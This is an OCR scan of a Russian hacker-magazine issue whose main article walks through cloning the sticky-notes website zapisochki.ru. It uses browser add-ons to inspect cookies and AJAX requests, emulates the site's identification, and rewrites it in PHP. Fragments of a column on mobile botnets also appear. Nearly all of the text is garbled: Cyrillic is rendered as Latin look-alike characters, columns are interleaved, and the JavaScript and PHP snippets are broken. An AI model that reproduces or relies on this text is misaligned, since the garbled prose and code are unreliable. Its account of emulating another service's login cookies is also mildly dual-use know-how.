allbHO .Qen31O KOA nOHflTHbiM iii npOCTblM. a He 6l.>ICTPbIM III 5e30naCHblM.
function changeCOlTh'TIenl (id) {
3AKJlI04EH~E
document.getElementRyTd
("changeColl1J1':en!.. "+id) . style.display="
document.gelElementByld
("showComrnent"+id) .style.disp1ay="none';
funct..ion openZombie(idl ( windo,.~.
locat ion. href=" zo:n.bie. php?io=" +id;
MwtJ >!H.
0 Hecyw,eCTBOeaHl-1111 TelleepOHHblX 60THeTOB pa3Be
Ka K MIIIHl-1MYM. Tplll
KOM3H.Qbl, 3
:no Y:i<e
TeCTOBblX 06pa3~a Bblno.nH~nlll MOIII
6oTHeT:l. ECTb H3Ae.:>l<Aa. YTO B CKOpOM
speMeHlt1 npou,eccopbl Mo61111lbHIIIKOB CTaHYT ew,e 6b1CTpee.
~
naMSHV1 6y,o,eT 6011bwe, a KHonOt< He oCTaHeTCl'l BOBce. Tat<
BHl-1M3Hl-1e! lIlH$Op
Vl11>1 >1H34e, ypoBeHb 6e30nacHoCTIII Te!1etj)oHoB Hel<l35ew.
Mau,lIIfl npeACTaBn€ H 3
HO B03paCT€ T .
l\1nepSVl30pbl VI nOAnl<lC3HHblC1 KOA CTaHyT
OCHOBonOnaralOl.L\l-1MV1 Tpe60aaHlt1RMl-1. 04eHb HaAelOCb. 4TO
</script>' ;
Hap51AY C 3H1M BblpacTyT ypoBeH b l-1 KOJl>1lleCTBO
cne~l-1aJll.1C
warning
lilCKllIOY l<lTeJlbHO C ll,e1lblO 03H3KOM 1IeHIilR!
Hili
aeTop, Hili
TOB, KOTopble 6YAyT B COCTO~ Hlt11-1 aCKpblBaTb T3Kllle 3aUJ,IHbl
peA3Kll,l<ll'l 33 TBOI-1
$pagevie'I>' = $result->fetch();
KaK BcerJ\a. Ha sce sonpocbl OTBeY31O B 6nore !.J.11Q:l/oxod.
Ae~CTBIill'l OTBeTCTBeH~
'dhile ($pageView)
[I,!_JA34l<l! I
HOCTI1 He HecyT!
XAKEP 05/125/ 09
~
059
:<AKEP
:1o.'~E~~Af:AA;t1 r Ilj
~AA'-11:-1 ~
x
;~AI<EP
[j] III r~AI<EPx~ [j] III ~ t
::JAA~~ x~
r::JAA~~ x~
t::JAA~~ x~
t
LiJl I
--
r8Ar\\I"jV1 x~
::JAA~~ x~
IrJr ,..:=-::AI<EP 111 r X~ LiJ
[j] III G'(AI<EPx~
I~ ~ II~ [j]
!1J
8AA'~~·1 ~
x
'<'.
ru_~
,
t::JAA~~ "~
~<AK~
XAI<EP x
8AA'-iH
r::JAA~l--l x~
r8AAYl~ x~
l'OMAH .SPIRIT. XOMCHKO
~ BOnWEEiHblE
~
/ HTTP,IITUTAMC.CO,",I
3An14C04K14
r
8AA'-IVi x
~
MeTOAi'lKa nonHoro KOni'lpOBaHi'lSi CAIi1TA
Cei:1LJac CTaflO MOAHblM AeflaTb cai:1T Vl Ha3blBaTb ero CflOBOM «CTapTan». 3TVlM 3aHVlMafOTC51 Bce, KOMy He fleHb. Hy, Mbl TO}t{e }t{VlTb He MO}t{eM 6e3 CBoero CTapTana. Ho BeAb caMVlM nVicaTb -
He Haw MeTOA. flyLJwe B03b
MeM cai:1TcoceAa VI nOflHOCTbfO, co Bcei:1 cPYHKlJ,VlOHaflbHOCTbfO, cKonV1py eM. •
A nOTOM
BHVl3Y CMeflO nOAnVlweMC51 CBOVlM VlMeHeM . HTML -$a~JlOS
KaK-TO Se'1epOM, nepe6lo1pa51 KJlei1KVle fH1CT04
nYCTblM. EClllo1 Ha>KaTb Ha 11I060M MeCTe. TO nol'l
CTOR11ltlI-'13
1<101 He ca{he zRQlsochkl.ru. 5l nOI1Man ce6R Ha
BltlTCl'l «KJ1e"'KIo1~ llltlCTO'-leKi> -
oT,Qaaallocb 6paY3epy nOJ1HOCTbfO ,ll,JlS1 cT06pa
MbICJH.1, '1TO 8Jlap,eneu, cepsliIca MO)KeT, BTeOp_Hi,
B KOTOpOM MO>KHO nl-1CaTb TeKCT 1-1 3aT€ M ero
4liITaTb Bee, 0 4eM s:l Hanl.1CalL V1 rnaSHbll1 Bonpoc
pe,o,aKTl-1pOaaTb_ TaK>Ke. 8 yrfly eCTb ManeHbKI1~
HY)I(HQ 6bl110 Jll-1Wb 3anyCTl1Tb nporpaMMy, KOTOpal'l
Aa>Ke He 60 Bn8,o,eJlbu,e -
KBa,o,paT~K. Ha)l(ltlMaR Ha KOTOPbl~ MO>KHO MeHl'lTb
on;pblsaeT Bce CCblflKI-'1 Ha cai1Te \II ccXpaHl'leT Bce,
Be,O,b MOl.-1 m06111Mble
HeK\II~ KBa,QpaTI-1K,
:>KeHl-1R. YT06bl CKOnltlpOsan-. cai:1T C norpOXaMI-'1,
cneu,cny)l(6bl TClK)f(e MOlyT ::lTO ,O,enaTb! OTKa3bl~
LlBeT flltlCT0'-1K3.
BaTbC" OTcepsVlca 51 He nn8HVlpoaan, B CBIBlil C
eTCl'l3am1COYK3. Becb ltlHTep¢lelilc BblnOllHeH C
V1 eCTb KpeCTltlK, AJAX,
KOTOpblM y,Qal1l'l
era Ka«eCTBOM VI none3HOCTblO, n03TOMY peWl-lfl
ltlcnOflb30BaHI-1eM
B3JlOMaTb cepsep. CKonlo1pOBaTb Bce IKXO.L\HVI l(1I1 V1
He neperpY>K3eTCl'l, Pa504al'l nOBepxHOCTb, Ha
YCTaHOBJ,1Tb ~X
ce6e. CKa3aHo
VI KapTI-'1HoK. 3fO,Q06po
101 CTpaHltll\a nplll pa60T€
4TO oTAaeT cepsep, He 3aTeM B Mltlp Be6a npl1LUl1a AI-'1HaMltlKa, ltl Konl-'1pCBaHl-1e ca\:1Ta CTaflO 3<lAa4ei1
Ype3Bbl'-la~HOTpy,QHOV..
K npVlMepy, ¢lOPYM C co
o6w,eHltlRMltl. ila>Ke eCflltl no HeMy npo~.c.eTcSl 60T
KOTOPO~ HaxO,Ql'lTCR 3anIllCOlIKl-1, Ha3b1BaeTCl'l «AO
l-1 coxparH1T Bce CTpeH(I1L1bl, -
8 6o~ 3a p,ocryn eCTynIo1JlV1 pa3Hbie nplo1eMbl npo
CKa» [board]ltl Y1MeeTYHI-1KallbHbl~ltl,o,eHTltl¢!Y1Ka
npaKT1-14eCKl-1 aeCb$YHKl\ltlOHaI13a6poWeH B
aepKlo1 Ha 101 HbeKl\l'Il-1 , Io1HKJlY.Abl, npOCTble napOJll'1
TOp, 4TO oT06pa;t<aeTCSlB
URL. 3ry VlH¢OpMaLll-11O
V1 np0'-jee. 3Ta Io1Ael'l C rpOXOTOM npOBaiH'111aCb,
Sl paCCKa3al1, nOTOMy 'HO
6e3 Hee CJ10>KHO nOHRTb
npaBp,a, 83aMeH p0.Alo1naCb HoaaR,
CTaTblO. OnTl-1Mal1bHblM Bap(l1aHTOM 6YlleT. eC111-1
fla He Ha6fllO,QaeTCR ltl, Ka3aflOCb
nepeA np04TeHlo1eM cfle,QyfOllIl-'1x a63aLl€ B TbI3aii
cai1TCTano HeB03MO)KHO Ho TyT npl-1wna 3pa Be6
AeWb Ha ca~T 1-'1 caM ltlcnpo6yewb ¢YHKl\ltlOHan,
2.0!
He Morna He peam·130BaTbCl'l.
-
Cp,ellaHO. Cpa3y
Ho -
KOTopa~
npocTO
npepeeMc"
HeMHoro 101 nOCMoTplo1M, '-jTO co6oVl npeACTaE3fl$1eT
CKp\o1nTbl, KOTopble OCTaIOTCl'l Afll'l Hac 3aKpbITbIMl-1. npI--I3TOM, TeHp,eHl\l-1V1 K ynpow,eHltllO epYHKl\ltlOHa
fib!, CKonlilpOBaTb
O,ll,Hl-1M 1--13 ee acneKTOB flBfl$1eTCSl nepeHOC
60nbWO~ 4aCTIo1 ¢!YHKl\VoOHana C cepsepHoro
ca~T zapIsochki.ru.
3Anlo1C04KIo1
3TO Hltl4ero He )J,aCT.
B03~O>KAEHIo1E
ypCBHR Ha 6paY3epHbl~.He JavaScnpL -
a Be,ll,b
CTAPOIo1 METOAIo1KIo1
OH OT,QaerCl'l HaM 13 OTKPblTOM BYlAe! YeM 60JlbWe
Cep8\.o1C OHJlaiitH-3anlo1COyeK OyeHb npocT. 101
BepHeMCR K pacnmTpeHltllO Mera-cTapoi1 Me
CltlCTeMCl 6y.oeT pa60T3Tb Ha CTopOHe 6pay3epa.
3T3 npoCToTa p,bflBOllbCKltl nplo1T$1rVlBaeT, nocl1e
TO,o,l'1KI-'1, KOTopaR ce~4ac CHOBa B03p0>K,QaeTcS1
TeM MeHbwe KO,Qa H3 cepsepe -
3aXO)J,a H3 ca~T BeCb 3KpaH 6pay3epa CTaHOBV1TC$1
PaHblJJe Bce cai:1rbl 6bll1l-1 CTaH1'-leCKltlMliI -
Toro OT Hac KO,lJ,a. 3TOT ManeHbKV1C1 YlBCTOK KOAa,
.060
co
TO eCTb, CKpbl
XAKEP 05 1125/ 09
IXAKtl-' U p
-
[j] II t>\AKEP ~
.
. [] r
!:lAA',l-1
, -
>~AKEP
--.---
-
[J] III rXAKEpx~
x
,
- - - - - --
t!:lAA'-ll-1
~~, 1!'_1i!!I!II!I!I_~_====~IIIIiiiiiii'iJ!,
.--
x~
XAKEP
-
~..;.-~ I";;;;';;;;;;!'lom<=-~_~'~'_=~'~=-'I '--" _.. ,j" ,.;,;....,u~~I."'"
'....,.,.."'... _ _ 1
,~
,
•.--..0 '"
:•."'--0.....
'I::::'~
. . --
x
«q_ .........
-
,-
--
--
~
>
~",_E",""'"
....
r~AA"H x~
x~
-
~~-..
~
I_~
---------
",~
--..._
>> 83.o\0r:1\:1. ~
c........,...,.
,
1l7~
i
1:
)u!
......"'••9J
_,011",
-.-----:
1\O"~·I."·I:"')"
XIOUIIUl111OWI11u;.:
m 1_...
I: ~=_.~._~._~_~~~-~.o
-- ~1-"~
jj!!
""'"',..~!
._v_
1)
_. ...
.~_.
_.~_
,,,'~-~
OFFLINE BROWSER - IlY4Wl-l1it AIlSl C03AAHl-lSllllEIitKOB FIREFOX nllArl-lH TEMPER DATA
KOTopbl1ii MO)l(HQ l-1 CBMCMy ,D,onV1CaTb, -
MeflOYb
no CpaSl-leHVlIO cToi14aCTbK:l, 4TO Mbl 6e3 npo6neM
s:l nonpo6oaaJl YJlalllllTb npl-1We,l:\Wlo1e
OTJIa~KI1 JavaScript K aHdJIJ13a 3anpo
napOJl€ M .
COB.
KYKI-1Cbll-13arpY3~Jl ZClpisochki.ru/MHoro_lll-lq,PI.
CKOilYlpyeM. Teopl-151 MQ::KernOra3aTbC51 HeMHoro
)J.a)Ke 6e3 JlorlilHa 1iI naponl'l, 4TO 6bl.l1l-1 B KyKlIIcax,
HenoH"THoi7l, HO nocne npaKH1Kl-l Bee 8craHer Ha
TalOK€ H€ o 6xOAIIIM Offline Browser AJHl CKa4!1l
CTpaHViYKa HOpMaJlbHO oT06pa3l11JlaCb. ,l],e.l1aeM
CBOV1 MeCTOl.
SaHYI\1 Bcero ca~1Ta hpl-1aJlbHal1 eepcl-1s:l eCTb Ha
BbIBOA, '-ITO l<1AeHH1¢IIIKau,liI~ npOlilCXOAl-lT liIM€ H HO
VlrJr, B ra4eCTse npJ..1Mepa MHOYi 6blJ16bl6paH
wwwmetaproducts.com/mp/Portable
caYir ZC!Qlsochki. ru. MHoro <t>YH:<~l-lOHaJlbHOCn1
Browser,hlm t1Jll-1 yHac Ha AII1CKel.
8 HeM HaXO,D,I'ITGI Ha CTopOHe
JavaScript. a
Offllf1e
KO 3BnpOCOB no coxpaHeHVHo, 05H08JleHV1K>
v,
Y,ll,aneHYl+O KlleYiKI1X IlL1CT04KQB. ECIlV1 nOnbiTaTbC51
3TAnbi KOnIi1POBAHIi151
,o,eHaepe XOCTC MHor03Ha41i1T€ J lbHbIM Ha3sa
CJleAYlOlJ.Il-1X :,nanos:
HliI€ M «Z». AIl~ 3MylllHl,1iI1i1 rnasHoVl CTpaHliIYKIII - Ha6pocan CKpl-lnT, KOTOpblC1 npYl3aXOAe Ha caVlT
• AHanl13 M 3MYJlf.lUl151 >{~eHTH¢V1Kal.1J1M;
HpKHO nOH5lTb, KaK pa60raer nplllJlO)KeH~e.
• Konl1poeaHMe CTpaEI1Ubl C 3anI1CO"l:Ka
KaKlIIMIII KOMaHAaMIII 06MeHlt1BaeTCs:l cepBepHas:l
MH;
III KJl\IleHTCKaR '-laCTb, KaK
reHep~pyG!TC51
nepBas:l
CTpaHIIIL.J.a 111 T.n. nowaroBo npoi1,n,eMCs:l no BceMy npOl.(eccy nonHoro KJlOHl>1pOSaHl'1s:l.
lt1AeHTliIq,l-1KalJ,IilIO.)J.ns:l3TOrO >l6bICTpO C03AaJl Ha
KonlllpOBaHYle caiha «3anYlC04Kw> COCTOl-1T co
;'MyflYlpOaaTb 3H13anpOCbl. TO MO:>KHO nOJ1HOCTblO
CKa4aTb c cai:1ra Bee ocraJlbHoe. npaS,D,a. CI-layalla
a Jlorl.o1H 1iI napOJlb Tpe
Tenepb MO)l(HO Konl1pOSaTb ca~T lt1 peanl-130aClTb
Ha
CTopOHe cepaepa IlV1Wb BblnOJ1H>lIOTC>l HeCKOflb
no 3TliIX lJ,liI<pepKaM BURL,
6ylOTCR JlVlWb,lV1>l BHyTpeHHlo1x Hy>KA caVlra.
«z» 6YA€ T npOSep>lTb KyKl-1Cbl. ECJllil OHliI eCTb. TO. liICXOJ\R 1iI3 HIIIX, 103ep 6YJ\eT nepe6poweH Ha T'f AOC~,
• AHanH3 npOTOKona 06MeHa KJ'lMeHTCKOM '-:laCTiIl C cepBepHoi1;
KOTOpas:l npOnl-1CaHa y Hero S KyKlIIcax
TaKlo1M 06pa30M. ecnlll S oplilrYlH811€ s KyKl-Icax XpaH>lTC>l1l0rlilH 11 napOllb. no K01'OPbIM
AHanl13 reHepaW1M !"Jl8HHOM CTpaHMlJ,bI;
• [JporpaMMI1Hr Cep!lCpHOM "laCT>-1.
Ii1HCTPYMEHTbl
y%e
nOKa3bISaKlTG13anll1e04l(1I1, TO Mbl HeMHoro Bee ynpOCTlt1M l-l 6YAeM xpaHlIITb Yl,QeHTYl<f!liIKaTOp AOCKlII. 3anl'1CO'iKIII 6y.o,yrnplilBs:l3aHbl K 3TOMy
YTo6bl pa306paTbGI C pa60TCc.; caiha. 80C
Bpe3YJlbTaTe Mbl nonY41i1t.4 nOJlHOCTblO pa60YlIIiiI
1iI,l:\€HTliIepIllK8TOPY. ,Qa. 3TO He COBceM npaSIiIJlb-
nOJlb3yeMcR FireFox C YCTaHOBJleHHblMIil TpeMSl
ca~T zapisochki.ru yce6s:ll-la nOKaJ1bHOM cepeepe.
HO co CTOpOHbl 6e30naCHOCTIII. HO HaM maSHoe nOJlY41i1Tb pa6041i1V1 ca~T. a A080JlKO~ y;ll<e MO>KHO
nJlan1HaMIII:
• Temper Daea (https://addons.
AHAJlli13 Ii1AE HTIi1<1>Ii1 KAUIi1Ii1
mozilla.org/en-US/firefox/
nepeA KOnl1pOBaHIo1€M pa36epeMC>l C IiIAeHTliI<pYl
3aHIIIMaTbC>l nOTOM. lilTaK, Mbi MO)l(eM HanttlCaTb Man€HbKliIC1 CKplllnT, KOTOpblL::i 6y.o.eT 3MyJllilpOSaTb lIIAeHTlt1eplilKalJ,l-IlO,
addon/9661 Alls:l npocMoTpa, nepexBaTa
KaL.J.Y1eVlI03epa, BeAb y Ka)KAOrO C80>1 CTpaHYlL.J.a c
KaKyKa38Ho Sblwe. 3Tlt1M CKplilnTOM MbI3MY
M :l13MeHeHy..» 3dnpOCOB;
K.I1ei1Klo1MliI JlIllCTO'-lK3MliI, 1iI Hy>KHO 3HaTb, KaKoMy
JlIllPOBilJ1li1 <f!YHKu,1II0HaflbHOCTb. CB>l3aHHYIO C
• Web Developer (https://addons .
103€ P y Ka Klo1e 3anlilC04KliI oT06pa>K3Tb. nepeA
liI.o.eHTliIepIllKall,l-1€~. nopa npl-lCTynlilTb K cneJlYIO
Ha4B.I10M aHanlll3a >I, C nOMow,blO nJlarlo1H3 Web
w,eMy 3Tany.
. mozilla
.o~en-us/firetoxl
addon/6Q.1 ,o,J!s:l OTKlllO"leHI1.l'1
Ke~a
6pa
Y3epa-, JllIH npoc)ol::npa 11 ynaneHIli51
2'3pisochkl.t"lJ. -
,KYKHCOB;
• FireBug
(ht~ps://addons.mozilla.
org/en-US/firefox/adcon/1843)
XAKEP
os 11251 09
Developer, YAanlo1Jl
Bce KYKIo1Cbl AJll'l
neplllMeHTa. BKnKlYViS Temper
AnH
4Y1CTOTbl 3KC
Data. 5l3arpy31i1n
Ha 4TO cepaep BepHyJl KOA nepe
OFFLINE EXPLORER BPA60TE
aApecalJ,Yl1il302 Ha zapisochki.ru/MHOrO_L.J.liI<f!p/,
PaCCMOTplllM KonlllpOBaHliI€ epyHKlJ,1iI0Hanb
,[\3 III elJ.le 6pOClI1Jl KYKliICbl C KaKl-1M-TOJlOrIllHOM 1iI
HOCTliI caMIIIX nl1CTOYKOB nepec.;AeM Ha ca~'IT
~
061
IXAKEP ~
I!:lAA'"lH~
[j] IIJr'\A~~EP'~ [j] IIJrXAKEpx~
iXAk
§!,..~~~I!lJ?~~_~!.
[j] I
~....~e~~_6!.I.
tlt.tp_;J!_~~pi!3<:>.c..tl~l.cr::IJ.'.?~~4~.9_~?~!~.4.~.?_~_~_~~.?~ . ~Q.~.Z4_~.?_~.ll.??~!
I~
=1
x
K
I
1-'
-
rI rn
-
I
I Tue. 16 Mar 201013:54:22 GMT
]
V .~_c.!~.f_<?g_~!.~. )( P.~.I_~~.~. .9~~_~i~. password 5abca135b836f71 b8694705453bC0271911 e035 zapisochkLru
No
FIREFOX nnArl1H WEBDEVELOPER B PE>KliIME npOCMOTPA KYKliICOB
lBQisochki.l'LJ! MHOro UlidlO, c03,o,i3,ll,I'IM HeCKOJ1bKO pa3Hbix
3amKOK'" nonpo6yeM CKonl.1pOBi3Tb HTML-CTpaHV1lW co Bcei1
load=effects,dragdropn
CMQTpeTb, KaKl'le cPai:lJ1bI3arpy)+(aIOTCSl BMeCTe co CTpaHw.;
cype="text/javascript"><!SCTipt>
30BaTbC" Io1HClpYMeHTQM
links
src=- .. /scriptacu!ous.js@
0681'31<0(1. KOHe'-lHO, MO)l(HO Bee 310 V1 Bpy'-lHylO npo,o,e.naTb, ~
KOVl, lil nOTOM lilX KonlilposaTb no 0AHOMY -
t>
<script
AJls:!
HOJ1y..,we BocnOllb
C03,o,aHVlQ 4JeViKOB. a VlMeHHQ
Olftine Browser. 3anycH1M era
1'1
B Ki3yeCTBe l.>1Cxo,o,Horo URL
Cpa3y Brl1a3a 6pocaeTCI1, '-lTO nOCile scriptacuLous.js VlJ],€T «((}». XOTI1 8 TeOp111t1 t\0Jl)i(eH 5bITb«?» (::lTO )l(e-G et -3anpocl.
• A,ll,pec Hawero
3aAi3,o,I-\M zaoisochki.ru/MHorQ UH<bp. napa KI1I<1 KOB Ha Next
nOH5ITHO. '-ITO TaK CAeJl3Jl Offline Browser, 4T06b1 npeSpaTltlTb
nO,ll,OnblTHoro:
-ltl catn nOI1HOCTblO coxpaHeH. noclle :noro BOCn0J1b3yeMc51
J],L-1HaMlt11.leCKIt1 caiiT [1 CTo3TW--jeCKI<114, HO HaM aHa He Hy)l(HO.
mis.Ocb.hLnl.
<pyHKLJ,V1eVl3KCnopTa V1 COXpaHL1M pe3y.nbTaT. B KaTanore 3KC
nO:3TOMY s03Bpaw,aeM Bce Ha3a,llltl 33MeH>1eM «fa}> Ha «?}), a
nopla nO>1SIo1J1aCb nanKa CHa3BaHltleM zapisochki.ru, a 8 Hei:l,
<pai:1Jl scriptaculous.js0load::effects,dragdrop nepelt1MeHyeM B
• Bce J],onOJlHeHI1\1
BnanKe themes,
K FlreFox,
TaK>l<eTaM eCTb nam::a «MHoro_u,wpp». a a He~ 0AI<1H q,a14flYlK
60 SKfla,Qe Net 6 FireBug n05lBYlJllo1Cb ABe owlt16!<.l--1 HOMep 404,
C Ha3SaHI<1eM default.htm.
TO eCTb, ,D.syx <pai:1noa He 6blJ10 06Happ<eHO, 3 L-1~eIlHO:
g\1.d.oos mozilta.org,
ace Hylt<Hble KapU1HKltl. CKplt1nTbl L1 np.
AaJ1ee 51 CKOJlltlpOBafl BAeHsep nanKltllhemes
lt1
V13H3'-1aflbHbltl - scriptaculous.js. nOCJ1e :noro Mbl YSl--1,ll,ltlM, '-ITO
«MHoro_
lllt1<pP», a detault.htm nepeltlMeHOSaJI Ha Index.php. EU1lt13atlTltl
c[fects.js
a 6pay3epe Ha hllpljzlMHQ[o 6YK080~, TO oTo6pa3l1TC>l CTpa
dragdrop.js
Hlt14KCl CHaWlt1MI13aKna,D,KaMlt1, npaB,Aa, He Bce nOKa pa60TaeT. nO'-leMy-TO He ,D,Blt1raKnC5I3aKna,o,Klt1. Ceili4ac lt1CnpaBlt1M ..
)J,OCTaTb ltlX He np06J1eMa! CMOTpVlM e FireBug nyTVI, 3arpy::t<aeM c cepsepa 3anltlCO'-leo:: L-1 coxpaHSleM KocrailbHblM CKpltlnT3M.
FIREBUG V5. OFFLINE EXPLORER
06H08\11MO; VI y6ltl,Alt1M, '-HO sce oTo6.3a31t1110Cb, OWI160K HeT, Aa
OTKpoeM Haw FireBug ltl aKTI<181<1pyeM BeCb q,YHKLl.L-10HaJl. Ha
VI KTOMy >Ke, ece ¢YHK4ltll1 c 303nlt1COYKaMlt1 CTanVl HopMallbHo
npYlt"ep, Ha)l(aB Ha ElKJlaAKe «Net». nOCTa6Y1M Be3Ae ro3J104KIo1
pa60TaTb. O,Alt1H lt13 3TanCB SblnQ,'lHeH.
lt1 Ho3)l(MeM «npltlMeHlt1Tb)}. Tenepb, KorAa nepel4,o,eM Ho3 8KJlaAKY
«Console», TaM nlt1WeTC51 '-ITO-TO TL1na «OW\II6Ka Cdragdrop)
TYT HY'KHO OTna>IU1BaTb Javo3Script, CMOTpeTb, S '-IeM npo6ileMa,
~
062
YAAllEHI1EJU1WHEro Kpacory HeMHoro nopmT «pa3 bexaaWliltlC>l» J],113a~H
HO 51 soCn0J1b30BanC51 APyroili MerO,ll,V1Koi1, \II oHa cpa60Tana! 5l
6Y,QeM L-1Cnpa6Jl5lTo l ECJ111 H3)!(aTb Ha «L-1HcneKTopa» B
OTKPblJ1 CKa'lC!HHbl14 default.htm 11 B nOI<1CKe BBeJl «dragdrop"
FireBug 1<1 HaBeCTltl Ha Ho3we MeHlQ, TOYBl1,ll,VlM, 4TO 3TO
KYPCOP nepCMeCH1JlCSl Ha CTpO<.<Ky:
Bce cAHa Ta6Jl114a. HaM ee He >Kameo, 3aXOJ],V1M 8 I<1CXOJJ, XAKEP 05 11251 09
IXAKEP ~
p
x
n [j] •
l:lAAl..l1A U ..,. -ij::' Con~te
Inspect Clear
I~
HTMl
s<ript -OOM
CSS
Relereme
200 0(
X
3KS
260ms
356ms
".
~EP
,""
2000< :<00 0<: :<00 0' 200 0< 2-.)0 <X NO (i(
GET close.gif
[] IIJ~ OJ. ~<=Af(E==;;;"]pX ~ P.._ ...._xii e~._ E'J
1241(5
404Nol FOU'od
(iJ GET rlghting.as
>> 8::AOl',1
c-- ····_-,~··_;;;·.~-~----·_---==--=--=====::;;=::jl X
~oo QI,
GEl webtoolkit.utf8.j5 :il GET sticker.js :Ii GET window.js Ii! GfT default.as (ti
~~
C55 JS XHR fm.ge5 Huh
1. Nel'"< J
"""U~-'-I·""·'-&O<>C"'..-:>·.u:r",,,:'''''r.,u----r>.lV",,,
&> GET sticke•.css GET prototype-l.6.0.2-Js ,iJ GET scriptaculous.js7to.d=efl"c
r~AAI..Iv1
~<AKEP
r::JAAYk1
HTML
IXAKEP ~
~
""" "KB 'KB 23KB
'"
~ests
-
233KB
I~AAI...IW
FIREFOX nllAn1H FIREBUG B PE>K"lME CONSOLE!
3ro 8a)l(HO, BeAb nOTOM AaHHYIO CTpO'-lKy 6YAeT .<!'Q ....tIE:.'"
,-"" .... ",,''''';'<i1~ l!i v~
"' ..... _ _
d
, , . . _ . : ......
npoplilC08Ke 6epeT Ha ce6Sl JavaScript. Ho cTpaH~~y Hy>t<HO
rel-leplilpOS3Tb CKplilnT. TU:lt:;e BlilAV1M. 4TO id
nepSblr1 pa3
nepeAaeTcH nYOblM, a B pe3YJlbTaTe cepoep
A V1MeHHO - Baepxy, s nepeMeHHylO board,
reHeplilp08aTb.
B03sp3w,aeT 4lilcno. ECfllillil3MeHI1Tb K3K0Io1-TO
Bnl-1CaTb TOT lilAeHTlilepV1KaTOp, no KOTOpOMy
napaMeTp 3anlilCO'lKlil (~seT, pacno.nO:lt:;eHlilSllillll-1
nplt1WeJ1103ep
TeKCTI, TO nOCblflaerCI1 TaKolo1 >Ke sanpoc. TOllbKO CAenaTb Bblf:lO~, "la, eCJlV1 id nYCToe. TO cepsep
<IlO PM Ii1 POBAHIi1E 3Anli1C04EK
C03AaeT B 6a3e HOSylO 3anlo1CbO 3amK04Ke lil
EUlYI nOct-lOTpeTb 8 KOHeu lilCXOAHlo1Ka default.
B03Bpaw,aeT KJ1lileHTY ee lo1AeHTl.14>lo1KaTOp. B
hlm, TO MO)K,HOYBVlAeTb CIleAYfOw.ee:
id CTa HOBV1TC" He nYCTbIM. V13 :nora MO)t(HO
npOTlilBHOM cnY4ae
MYSQL FRONT - YA06HE~WEE CPEACTBO AIl~ PA60Tbi C 6A30~
lil3MeH~KHC>l
s 633e napa
MeTpbl TOcilaanlilCO'lKlo1, lo1p,eHTV1q>V1KaTOp KOTOpoCi
<form id="stickers">
nepeAaeTCI1. nOCMOTpes Ha default.htm, BL<1Alo1M
<textarea id=·s36734"
CTpOKy:
style="left:61px;top:32px;z index:!">
Hl'1K cTpaHIo1u,bll'1 YAanSleM Bce MextJ,y TeraMf1 <table~.
Aa
H CaM(Il Ten: TaK.:>i<e.
var saveURL =
.. /noteboard/save/';
TeKCT 3aTlHCO'-lKJ.1 l</textarea>
nocne 06HOB
<text area
J1eHIHI Ha611IO,D,aeM lttAeanbHblo1 MItlHl1Mal1lt1CT
- OHa onpe,o.eJ1l<eT nyrb Kepa Villy, 'lTO o6pa6aTblBa
CKl'101 ~lt13ai1H.
e1 cOXpaHeHlo1e, 1010 Mbl era l'13MeHlilM Ha:
index:O">
Ho 8 «ConscLe» FireBug OmlTb n051BIi1JH1Cb OWl-16·
Kl'1.
Ha 3TOT pa3 -
8 q>a~!1eStiCkeLjs
TanKe TaM
TeKCT
var saveURL
== ' •• /
id~"s36735"
sty1e="left:90px;top:33px;z
save. php' ;
3am1CO'-lKYI 2</textarea>
</torm>
B03fle OWL<16KL<1 YKa3bl8aeTc~ HOMep np0611eMHolil
CTpOKL<1. ECllL<1 nepe~1T1-1 H(l Hee, a nOTOM YAamolTb
HanlilcaHlileM 3TOro ¢ar1Jla 3aViMeMCI< n03>Ke.
CTPOKY, TO nOCJle 06HOBJleHlII~ OUJl,16Klil tOJlbWe He
Tenepb pacct-lOTpV1M y.QaJ1eHlile. ECJ1Lo1 Ha:KaTb Ha
lil nOTOI>1 lilX 8b1BO.QYlTb KaK lexlarea, rAe B CTlo1Ile
6YAeT. BOTTaK, VlHO'Aa YAafleHVle 6blsaenq>q>eK
KpeCTlilK, TO B FireBug nOl'lBlilTCfl TaKoCi 3anpoc
npOOI1CbIBaTb n03lilL\lilfO 8 napaMerpblleft lt1lop.
TlilBHee c03AaHVl51.
B
POST /NoteBoard/delete/37094
• npOTOKOJl 05MEHA 3anl-1C04KI-1 ABlilralOTcSl, TeKCT lill.!,Se-r MeHSleTcSl,
BnV1 caTb TeKCT. CI1 id aanYlCO'lI01. URL. no KOTOpOMy 6YAeToTocn3H
peMC~ e npOTOKOfle olSMeHa. 4T06b1 B6YAYW.eM
3anpoc, TaK >t<e, KaK lil Afll1
era 3MyJllilpOBaTb. OTKpoeM HaWlil3anlilC04KI1 B
default,htm'
coxpaHeHYI~
xpaHV1TCI1 B
~
Ael:1cT8lillil. Ha>KMeM Ha nyCTOM MeCie
n0I18Jl>leTCI1 nycTal13anlilCK;:1. Te~epb BBeAeM
npOrPAMMIi1POBAHIi1E Tenepb Mbl 3HaeM. KaK reHcplilposaTb nepBylO cTpaHlilUY, KaK 06pa6aTbl8aTbAJAX-3anpoCbI OT JavaScript lo1 MO)1(BM HayaTb nOClleAHlill.13Tan
FireBug CBKflaA,<olil Console. 5YAeM npo6oBaTb B
z-index nlilcaTb U8eT. a Bid - Y1AeHTl'l4>ItlK8TOP
3anV1C04Klil. TaK)t(e Me)l(,ll,yTeraMlil <lexlarea> HaAD
BlilAlilM, 'lTO npl.1 y.QafleHlilYl8 aanpoce yKa3blsaeT
0AHaKO, Bee 3TO He coxpaHSleTCS'l. D.asa~ pa36e
3anVlC04K>1
HaM HpKHO 83>1 rb lil3 6aabl «3am1COYKItl» A8HHbie
var deleteURL '"
.. /noteboard/
- nporpaMMlilpoBaHVle 8 Ka"eCTBe l'l3blKa 6blfl 8bl6paH PHP_
delete/' ;
Jl1060lil TeKCT Vl BbiCTaB1I1M lJ,SeT. B1I1AYlM, 'lTO 6pay 3ep nOCJlaJl3anpoc:
XOTSl3TO HeCKOllbKO Heyp,06Ho, BeAb Hy>KHO
HaM Tpe6yeTCI1 CAeJlaTb 'leTblpe ¢>ai:iJ1a: .htaccess,
HaCTpalilBaTb .htaccess M>I r3KlttX 3anpOC08. n03
index.php. save_php. detete.php. B .htaccess
TOMyynpOCTli\M 3JlroplilTM. Y13MeHlilB URL H3:
Post
158'14
nponltlWeM npaBlilfl3 nepeH3npaBI1eHlo1R Bcex Hecyw.ecTByfOLl.\lilX KaT3floro8 K index.php (3TO
board: 700128621751072451716255856 var deleteURL = ' .. /de1ete. php?' ;
color: 1
